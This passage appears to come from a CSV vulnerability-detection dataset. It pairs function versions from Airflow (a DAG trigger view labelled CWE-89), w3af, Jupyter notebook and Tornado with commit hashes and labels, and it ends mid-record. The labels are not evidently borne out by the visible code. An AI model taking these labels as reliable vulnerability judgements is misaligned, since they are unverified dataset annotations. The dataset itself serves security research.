            ""dag"": dag,
            ""dag_id"": dag_id,
            ""run_id"": run_id,
            ""origin"": origin,
            ""doc_md"": wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None)),
            ""recent_confs"": recent_confs,
            ""is_dag_run_conf_overrides_params"": is_dag_run_conf_overrides_params,
        }

        if request.method == ""GET"" or (
            not request_conf and (ui_fields_defined or show_trigger_form_if_no_params)
        ):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {
                            str(k): v.resolve(
                                value=request.values.get(k, default=NOTSET), suppress_exception=True
                            )
                            for k, v in dag.params.items()
                        },
                        indent=4,
                        ensure_ascii=False,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=default_conf,
                form=form,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf or {},
                form=form,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        **render_params,
                        conf=request_conf,
                        form=form,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k, v in form_fields.items():
                if k in run_conf:
                    form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf,
                form=form,
            )

        flash(f""Triggered {dag_id}, it should start any moment now."")
        return redirect(origin)",CWE-89,apache/airflow,8f5d7d243a8398a7002744e60d09243708a08288,"def trigger(self, dag_id: str, session: Session = NEW_SESSION):
        """"""Triggers DAG Run.""""""
        run_id = request.values.get(""run_id"", """")
        origin = get_safe_url(request.values.get(""origin""))
        unpause = request.values.get(""unpause"")
        request_conf = request.values.get(""conf"")
        request_execution_date = request.values.get(""execution_date"", default=timezone.utcnow().isoformat())
        is_dag_run_conf_overrides_params = conf.getboolean(""core"", ""dag_run_conf_overrides_params"")
        dag = get_airflow_app().dag_bag.get_dag(dag_id)
        dag_orm: DagModel = session.scalar(select(DagModel).where(DagModel.dag_id == dag_id).limit(1))

        # Prepare form fields with param struct details to render a proper form with schema information
        form_fields = {}
        allow_raw_html_descriptions = conf.getboolean(""webserver"", ""allow_raw_html_descriptions"")
        form_trust_problems = []
        for k, v in dag.params.items():
            form_fields[k] = v.dump()
            form_field: dict = form_fields[k]
            # If no schema is provided, auto-detect on default values
            if ""schema"" not in form_field:
                form_field[""schema""] = {}
            form_field_schema: dict = form_field[""schema""]
            if ""type"" not in form_field_schema:
                form_field_value = form_field[""value""]
                if isinstance(form_field_value, bool):
                    form_field_schema[""type""] = ""boolean""
                elif isinstance(form_field_value, int):
                    form_field_schema[""type""] = [""integer"", ""null""]
                elif isinstance(form_field_value, list):
                    form_field_schema[""type""] = [""array"", ""null""]
                elif isinstance(form_field_value, dict):
                    form_field_schema[""type""] = [""object"", ""null""]
            # Mark HTML fields as safe if allowed
            if allow_raw_html_descriptions:
                if ""description_html"" in form_field_schema:
                    form_field[""description""] = Markup(form_field_schema[""description_html""])
                if ""custom_html_form"" in form_field_schema:
                    form_field_schema[""custom_html_form""] = Markup(form_field_schema[""custom_html_form""])
            else:
                if ""description_html"" in form_field_schema and ""description_md"" not in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses HTML description"")
                    form_field[""description""] = form_field_schema.pop(""description_html"")
                if ""custom_html_form"" in form_field_schema:
                    form_trust_problems.append(f""Field {k} uses custom HTML form definition"")
                    form_field_schema.pop(""custom_html_form"")
            if ""description_md"" in form_field_schema:
                form_field[""description""] = wwwutils.wrapped_markdown(form_field_schema[""description_md""])
            # Check for default values and pre-populate
            if k in request.values:
                if form_field_schema.get(""type"", None) in [
                    ""boolean"",
                    ""array"",
                    [""array"", ""null""],
                    ""object"",
                    [""object"", ""null""],
                ]:
                    try:
                        form_field[""value""] = json.loads(request.values.get(k, """"))
                    except JSONDecodeError:
                        flash(
                            f'Could not pre-populate field ""{k}"" due to parsing error of value ""{request.values.get(k)}""'
                        )
                else:
                    form_field[""value""] = request.values.get(k)
        if form_trust_problems:
            flash(
                Markup(
                    ""At least one field in the trigger form uses a raw HTML form definition. This is not allowed for ""
                    ""security. Please switch to markdown description via <code>description_md</code>. ""
                    ""Raw HTML is deprecated and must be enabled via ""
                    ""<code>webserver.allow_raw_html_descriptions</code> configuration parameter. Using plain text ""
                    ""as fallback for these fields. ""
                    f""<ul><li>{'</li><li>'.join(form_trust_problems)}</li></ul>""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""description_html"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use raw HTML in <code>description_html</code> which is deprecated. ""
                    ""Please migrate to <code>description_md</code>.""
                ),
                ""warning"",
            )
        if allow_raw_html_descriptions and any(""custom_html_form"" in p.schema for p in dag.params.values()):
            flash(
                Markup(
                    ""The form params use <code>custom_html_form</code> definition. ""
                    ""This is deprecated with Airflow 2.8.0 and will be removed in a future release.""
                ),
                ""warning"",
            )

        ui_fields_defined = any(""const"" not in f[""schema""] for f in form_fields.values())
        show_trigger_form_if_no_params = conf.getboolean(""webserver"", ""show_trigger_form_if_no_params"")

        if not dag_orm:
            flash(f""Cannot find dag {dag_id}"")
            return redirect(origin)

        if dag_orm.has_import_errors:
            flash(f""Cannot create dagruns because the dag {dag_id} has import errors"", ""error"")
            return redirect(origin)

        num_recent_confs = conf.getint(""webserver"", ""num_recent_configurations_for_trigger"")
        recent_runs = session.execute(
            select(DagRun.conf, func.max(DagRun.run_id).label(""run_id""), func.max(DagRun.execution_date))
            .where(
                DagRun.dag_id == dag_id,
                DagRun.run_type == DagRunType.MANUAL,
                DagRun.conf.isnot(None),
            )
            .group_by(DagRun.conf)
            .order_by(func.max(DagRun.execution_date).desc())
            .limit(num_recent_confs)
        )
        recent_confs = {
            run_id: json.dumps(run_conf)
            for run_id, run_conf in ((run.run_id, run.conf) for run in recent_runs)
            if isinstance(run_conf, dict) and any(run_conf)
        }
        render_params = {
            ""dag"": dag,
            ""dag_id"": dag_id,
            ""run_id"": run_id,
            ""origin"": origin,
            ""doc_md"": wwwutils.wrapped_markdown(getattr(dag, ""doc_md"", None)),
            ""recent_confs"": recent_confs,
            ""is_dag_run_conf_overrides_params"": is_dag_run_conf_overrides_params,
        }

        if request.method == ""GET"" or (
            not request_conf and (ui_fields_defined or show_trigger_form_if_no_params)
        ):
            # Populate conf textarea with conf requests parameter, or dag.params
            default_conf = """"

            form = DateTimeForm(data={""execution_date"": request_execution_date})

            if request_conf:
                default_conf = request_conf
            else:
                try:
                    default_conf = json.dumps(
                        {
                            str(k): v.resolve(
                                value=request.values.get(k, default=NOTSET), suppress_exception=True
                            )
                            for k, v in dag.params.items()
                        },
                        indent=4,
                        ensure_ascii=False,
                    )
                except TypeError:
                    flash(""Could not pre-populate conf field due to non-JSON-serializable data-types"")
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=default_conf,
                form=form,
            )

        try:
            execution_date = timezone.parse(request_execution_date, strict=True)
        except ParserError:
            flash(""Invalid execution date"", ""error"")
            form = DateTimeForm(data={""execution_date"": timezone.utcnow().isoformat()})
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf or {},
                form=form,
            )

        dr = DagRun.find_duplicate(dag_id=dag_id, run_id=run_id, execution_date=execution_date)
        if dr:
            if dr.run_id == run_id:
                message = f""The run ID {run_id} already exists""
            else:
                message = f""The logical date {execution_date} already exists""
            flash(message, ""error"")
            return redirect(origin)

        regex = conf.get(""scheduler"", ""allowed_run_id_pattern"")
        if run_id and not re2.match(RUN_ID_REGEX, run_id):
            if not regex.strip() or not re2.match(regex.strip(), run_id):
                flash(
                    f""The provided run ID '{run_id}' is invalid. It does not match either ""
                    f""the configured pattern: '{regex}' or the built-in pattern: '{RUN_ID_REGEX}'"",
                    ""error"",
                )

                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        run_conf = {}
        if request_conf:
            try:
                run_conf = json.loads(request_conf)
                if not isinstance(run_conf, dict):
                    flash(""Invalid JSON configuration, must be a dict"", ""error"")
                    form = DateTimeForm(data={""execution_date"": execution_date})
                    return self.render_template(
                        ""airflow/trigger.html"",
                        form_fields=form_fields,
                        **render_params,
                        conf=request_conf,
                        form=form,
                    )
            except json.decoder.JSONDecodeError:
                flash(""Invalid JSON configuration, not parseable"", ""error"")
                form = DateTimeForm(data={""execution_date"": execution_date})
                return self.render_template(
                    ""airflow/trigger.html"",
                    form_fields=form_fields,
                    **render_params,
                    conf=request_conf,
                    form=form,
                )

        if dag.get_is_paused():
            if unpause or not ui_fields_defined:
                flash(f""Unpaused DAG {dag_id}."")
                dag_model = models.DagModel.get_dagmodel(dag_id)
                if dag_model is not None:
                    dag_model.set_is_paused(is_paused=False)
            else:
                flash(
                    f""DAG {dag_id} is paused, unpause if you want to have the triggered run being executed."",
                    ""warning"",
                )

        try:
            dag.create_dagrun(
                run_type=DagRunType.MANUAL,
                execution_date=execution_date,
                data_interval=dag.timetable.infer_manual_data_interval(run_after=execution_date),
                state=DagRunState.QUEUED,
                conf=run_conf,
                external_trigger=True,
                dag_hash=get_airflow_app().dag_bag.dags_hash.get(dag_id),
                run_id=run_id,
            )
        except (ValueError, ParamValidationError) as ve:
            flash(f""{ve}"", ""error"")
            form = DateTimeForm(data={""execution_date"": execution_date})
            # Take over ""bad"" submitted fields for new form display
            for k, v in form_fields.items():
                if k in run_conf:
                    form_fields[k][""value""] = run_conf[k]
            return self.render_template(
                ""airflow/trigger.html"",
                form_fields=form_fields,
                **render_params,
                conf=request_conf,
            )

        flash(f""Triggered {dag_id}, it should start any moment now."")
        return redirect(origin)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/fingerprint_404.py,0,"def generate_404_knowledge(self, url):
        """"""
        Based on a URL, request something that we know is going to be a 404.
        Afterwards analyze the 404's and summarise them.

        :return: A list with 404 bodies.
        """"""
        #
        #    This is the case when nobody has properly configured
        #    the object in order to use it.
        #
        if self._uri_opener is None:
            msg = '404 fingerprint database was incorrectly initialized.'\
                  ' URL opener is None.'
            raise RuntimeError(msg)

        # Get the filename extension and create a 404 for it
        extension = url.get_extension()
        domain_path = url.get_domain_path()

        #
        #   This is a list of the most common handlers, in some configurations,
        #   the 404 depends on the handler, so I want to make sure that I catch
        #   the 404 for each one
        #
        handlers = {'py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do',
                    'gif', 'htm', 'pl', 'cgi', 'xhtml', 'htmls', 'foobar'}
        if extension:
            handlers.add(extension)

        test_urls = []

        for extension in handlers:
            rand_alnum_file = rand_alnum(8) + '.' + extension
            url404 = domain_path.url_join(rand_alnum_file)
            test_urls.append(url404)

        imap_unordered = self._worker_pool.imap_unordered
        not_exist_resp_lst = []
        
        for not_exist_resp in imap_unordered(self._send_404, test_urls):
            not_exist_resp_lst.append(not_exist_resp)

        #
        #   I have the 404 responses in not_exist_resp_lst, but maybe they
        #   all look the same, so I'll filter the ones that look alike.
        #
        for i in not_exist_resp_lst:
            for j in not_exist_resp_lst:

                if i is j:
                    continue

                if fuzzy_equal(i.get_body(), j.get_body(), IS_EQUAL_RATIO):
                    # They are equal, just ignore it
                    continue
                else:
                    # They are no equal, this means that we'll have to add this
                    # one to the 404 responses
                    self._404_responses.append(j)

        # And I return the ones I need
        msg_fmt = 'The 404 body result database has a length of %s.'
        om.out.debug(msg_fmt % len(self._404_responses))
        self._fingerprinted_paths.add(domain_path)",,andresriancho/w3af,8a3f88f73b8edef096b8b48bad091433ef3dadd6,"def generate_404_knowledge(self, url):
        """"""
        Based on a URL, request something that we know is going to be a 404.
        Afterwards analyze the 404's and summarise them.

        :return: A list with 404 bodies.
        """"""
        #
        #    This is the case when nobody has properly configured
        #    the object in order to use it.
        #
        if self._uri_opener is None:
            msg = '404 fingerprint database was incorrectly initialized.'\
                  'URL opener is None.'
            raise RuntimeError(msg)

        # Get the filename extension and create a 404 for it
        extension = url.get_extension()
        domain_path = url.get_domain_path()

        #
        #   This is a list of the most common handlers, in some configurations,
        #   the 404 depends on the handler, so I want to make sure that I catch
        #   the 404 for each one
        #
        handlers = {'py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do',
                    'gif', 'htm', 'pl', 'cgi', 'xhtml', 'htmls', 'foobar'}
        if extension:
            handlers.add(extension)

        test_urls = []

        for extension in handlers:
            rand_alnum_file = rand_alnum(8) + '.' + extension
            url404 = domain_path.url_join(rand_alnum_file)
            test_urls.append(url404)

        imap_unordered = self._worker_pool.imap_unordered
        not_exist_resp_lst = []
        
        for not_exist_resp in imap_unordered(self._send_404, test_urls):
            not_exist_resp_lst.append(not_exist_resp)

        #
        #   I have the 404 responses in not_exist_resp_lst, but maybe they
        #   all look the same, so I'll filter the ones that look alike.
        #
        for i in not_exist_resp_lst:
            for j in not_exist_resp_lst:

                if i is j:
                    continue

                if fuzzy_equal(i.get_body(), j.get_body(), IS_EQUAL_RATIO):
                    # They are equal, just ignore it
                    continue
                else:
                    # They are no equal, this means that we'll have to add this
                    # one to the 404 responses
                    self._404_responses.append(j)

        # And I return the ones I need
        msg_fmt = 'The 404 body result database has a length of %s.'
        om.out.debug(msg_fmt % len(self._404_responses))
        self._fingerprinted_paths.add(domain_path)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in a sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data",,jupyter/notebook,2d1eb887ff922cfe6a8e11a01d6d98c435ef8e6d,"def find_package_data():
    """"""
    Find package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components and less from the walk;
    # we will build the components separately
    excludes = [
        pjoin('static', 'components'),
        pjoin('static', '*', 'less'),
        pjoin('static', '*', 'node_modules')
    ]

    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir('notebook')
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if any(fnmatch(parent, pat) for pat in excludes):
            # prevent descending into subdirs
            dirs[:] = []
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    
    # for verification purposes, explicitly add main.min.js
    # so that installation will fail if they are missing
    for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
        static_data.append(pjoin('static', app, 'js', 'main.min.js'))
    
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
        pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
        pjoin(components, ""font-awesome"", ""css"", ""*.css""),
        pjoin(components, ""es6-promise"", ""*.js""),
        pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
        pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
        pjoin(components, ""jed"", ""jed.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
        pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""preact"", ""index.js""),
        pjoin(components, ""preact-compat"", ""index.js""),
        pjoin(components, ""proptypes"", ""index.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""requirejs-plugins"", ""src"", ""json.js""),
        pjoin(components, ""requirejs-text"", ""text.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
        pjoin(components, ""moment"", ""moment.js""),
        pjoin(components, ""moment"", ""min"", ""*.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
        pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
        pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
    ])

    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))

    # Trim mathjax
    mj = lambda *path: pjoin(components, 'MathJax', *path)
    static_data.extend([
        mj('MathJax.js'),
        mj('config', 'TeX-AMS-MML_HTMLorMML-full.js'),
        mj('config', 'Safe.js'),
    ])
    
    trees = []
    mj_out = mj('jax', 'output')
    
    if os.path.exists(mj_out):
        for output in os.listdir(mj_out):
            path = pjoin(mj_out, output)
            static_data.append(pjoin(path, '*.js'))
            autoload = pjoin(path, 'autoload')
            if os.path.isdir(autoload):
                trees.append(autoload)

    for tree in trees + [
        mj('localization'), # limit to en?
        mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
        mj('extensions'),
        mj('jax', 'input', 'TeX'),
        mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
        mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
        mj('jax', 'element', 'mml'),
    ]:
        for parent, dirs, files in os.walk(tree):
            for f in files:
                static_data.append(pjoin(parent, f))

    os.chdir(os.path.join('tests',))
    js_tests = glob('*.js') + glob('*/*.js')

    os.chdir(cwd)

    package_data = {
        'notebook' : ['templates/*'] + static_data,
        'notebook.tests' : js_tests,
        'notebook.bundler.tests': ['resources/*', 'resources/*/*', 'resources/*/*/.*'],
        'notebook.services.api': ['api.yaml'],
        'notebook.i18n': ['*/LC_MESSAGES/*.*'],
    }
    
    return package_data"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/httpclient.py,0,"def __init__(self, url, method=""GET"", headers=None, body=None,
                 auth_username=None, auth_password=None, auth_mode=None,
                 connect_timeout=None, request_timeout=None,
                 if_modified_since=None, follow_redirects=None,
                 max_redirects=None, user_agent=None, use_gzip=None,
                 network_interface=None, streaming_callback=None,
                 header_callback=None, prepare_curl_callback=None,
                 proxy_host=None, proxy_port=None, proxy_username=None,
                 proxy_password=None, allow_nonstandard_methods=None,
                 validate_cert=None, ca_certs=None,
                 allow_ipv6=None,
                 client_key=None, client_cert=None, body_producer=None,
                 expect_100_continue=False, decompress_response=None,
                 ssl_options=None):
        r""""""All parameters except ``url`` are optional.

        :arg string url: URL to fetch
        :arg string method: HTTP method, e.g. ""GET"" or ""POST""
        :arg headers: Additional HTTP headers to pass on the request
        :type headers: `~tornado.httputil.HTTPHeaders` or `dict`
        :arg body: HTTP request body as a string (byte or unicode; if unicode
           the utf-8 encoding will be used)
        :arg body_producer: Callable used for lazy/asynchronous request bodies.
           It is called with one argument, a ``write`` function, and should
           return a `.Future`.  It should call the write function with new
           data as it becomes available.  The write function returns a
           `.Future` which can be used for flow control.
           Only one of ``body`` and ``body_producer`` may
           be specified.  ``body_producer`` is not supported on
           ``curl_httpclient``.  When using ``body_producer`` it is recommended
           to pass a ``Content-Length`` in the headers as otherwise chunked
           encoding will be used, and many servers do not support chunked
           encoding on requests.  New in Tornado 4.0
        :arg string auth_username: Username for HTTP authentication
        :arg string auth_password: Password for HTTP authentication
        :arg string auth_mode: Authentication mode; default is ""basic"".
           Allowed values are implementation-defined; ``curl_httpclient``
           supports ""basic"" and ""digest""; ``simple_httpclient`` only supports
           ""basic""
        :arg float connect_timeout: Timeout for initial connection in seconds
        :arg float request_timeout: Timeout for entire request in seconds
        :arg if_modified_since: Timestamp for ``If-Modified-Since`` header
        :type if_modified_since: `datetime` or `float`
        :arg bool follow_redirects: Should redirects be followed automatically
           or return the 3xx response?
        :arg int max_redirects: Limit for ``follow_redirects``
        :arg string user_agent: String to send as ``User-Agent`` header
        :arg bool decompress_response: Request a compressed response from
           the server and decompress it after downloading.  Default is True.
           New in Tornado 4.0.
        :arg bool use_gzip: Deprecated alias for ``decompress_response``
           since Tornado 4.0.
        :arg string network_interface: Network interface to use for request.
           ``curl_httpclient`` only; see note below.
        :arg callable streaming_callback: If set, ``streaming_callback`` will
           be run with each chunk of data as it is received, and
           ``HTTPResponse.body`` and ``HTTPResponse.buffer`` will be empty in
           the final response.
        :arg callable header_callback: If set, ``header_callback`` will
           be run with each header line as it is received (including the
           first line, e.g. ``HTTP/1.0 200 OK\r\n``, and a final line
           containing only ``\r\n``.  All lines include the trailing newline
           characters).  ``HTTPResponse.headers`` will be empty in the final
           response.  This is most useful in conjunction with
           ``streaming_callback``, because it's the only way to get access to
           header data while the request is in progress.
        :arg callable prepare_curl_callback: If set, will be called with
           a ``pycurl.Curl`` object to allow the application to make additional
           ``setopt`` calls.
        :arg string proxy_host: HTTP proxy hostname.  To use proxies,
           ``proxy_host`` and ``proxy_port`` must be set; ``proxy_username`` and
           ``proxy_pass`` are optional.  Proxies are currently only supported
           with ``curl_httpclient``.
        :arg int proxy_port: HTTP proxy port
        :arg string proxy_username: HTTP proxy username
        :arg string proxy_password: HTTP proxy password
        :arg bool allow_nonstandard_methods: Allow unknown values for ``method``
           argument?
        :arg bool validate_cert: For HTTPS requests, validate the server's
           certificate?
        :arg string ca_certs: filename of CA certificates in PEM format,
           or None to use defaults.  See note below when used with
           ``curl_httpclient``.
        :arg string client_key: Filename for client SSL key, if any.  See
           note below when used with ``curl_httpclient``.
        :arg string client_cert: Filename for client SSL certificate, if any.
           See note below when used with ``curl_httpclient``.
        :arg ssl.SSLContext ssl_options: `ssl.SSLContext` object for use in
           ``simple_httpclient`` (unsupported by ``curl_httpclient``).
           Overrides ``validate_cert``, ``ca_certs``, ``client_key``,
           and ``client_cert``.
        :arg bool allow_ipv6: Use IPv6 when available?  Default is true.
        :arg bool expect_100_continue: If true, send the
           ``Expect: 100-continue`` header and wait for a continue response
           before sending the request body.  Only supported with
           simple_httpclient.

        .. note::

            When using ``curl_httpclient`` certain options may be
            inherited by subsequent fetches because ``pycurl`` does
            not allow them to be cleanly reset.  This applies to the
            ``ca_certs``, ``client_key``, ``client_cert``, and
            ``network_interface`` arguments.  If you use these
            options, you should pass them on every request (you don't
            have to always use the same values, but it's not possible
            to mix requests that specify these options with ones that
            use the defaults).

        .. versionadded:: 3.1
           The ``auth_mode`` argument.

        .. versionadded:: 4.0
           The ``body_producer`` and ``expect_100_continue`` arguments.

        .. versionadded:: 4.2
           The ``ssl_options`` argument.
        """"""
        # Note that some of these attributes go through property setters
        # defined below.
        self.headers = headers
        if if_modified_since:
            self.headers[""If-Modified-Since""] = httputil.format_timestamp(
                if_modified_since)
        self.proxy_host = proxy_host
        self.proxy_port = proxy_port
        self.proxy_username = proxy_username
        self.proxy_password = proxy_password
        self.url = url
        self.method = method
        self.body = body
        self.body_producer = body_producer
        self.auth_username = auth_username
